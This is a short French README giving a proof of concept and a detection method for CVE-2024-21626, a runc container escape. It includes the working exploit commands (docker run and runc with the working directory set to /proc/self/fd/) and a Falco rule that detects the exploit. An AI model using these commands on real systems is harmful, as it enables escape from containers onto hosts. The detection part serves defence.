
PoC et détection pour CVE-2024-21626
Pour une explication détaillée de cette vulnérabilité, veuillez vous référer à mon article.
Pas besoin de créer une image personnalisée, il suffit de lancer un conteneur avec le paramètre -w :
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm


~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo

Les exploits ont les caractéristiques suivantes :
execve(2) avec un répertoire de travail spécial qui commence par /proc/self/fd/.symlink(2) ou symlinkat(2) avec un lien de répertoire cible spécial qui commence par /proc/self/fd/.open(2), openat(2) ou openat2(2) avec des noms de fichiers comme /proc/\d+/cwd/.*.https://github.com/snyk/leaky-vessels-dynamic-detector
Voici la règle Falco personnalisée :
- macro: container
condition: (container.id != host and container.name exists)
- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
desc: >
Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
condition: >
container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
priority: CRITICAL
Mais filtrer les faux positifs avec proc.name n'est pas une bonne idée.
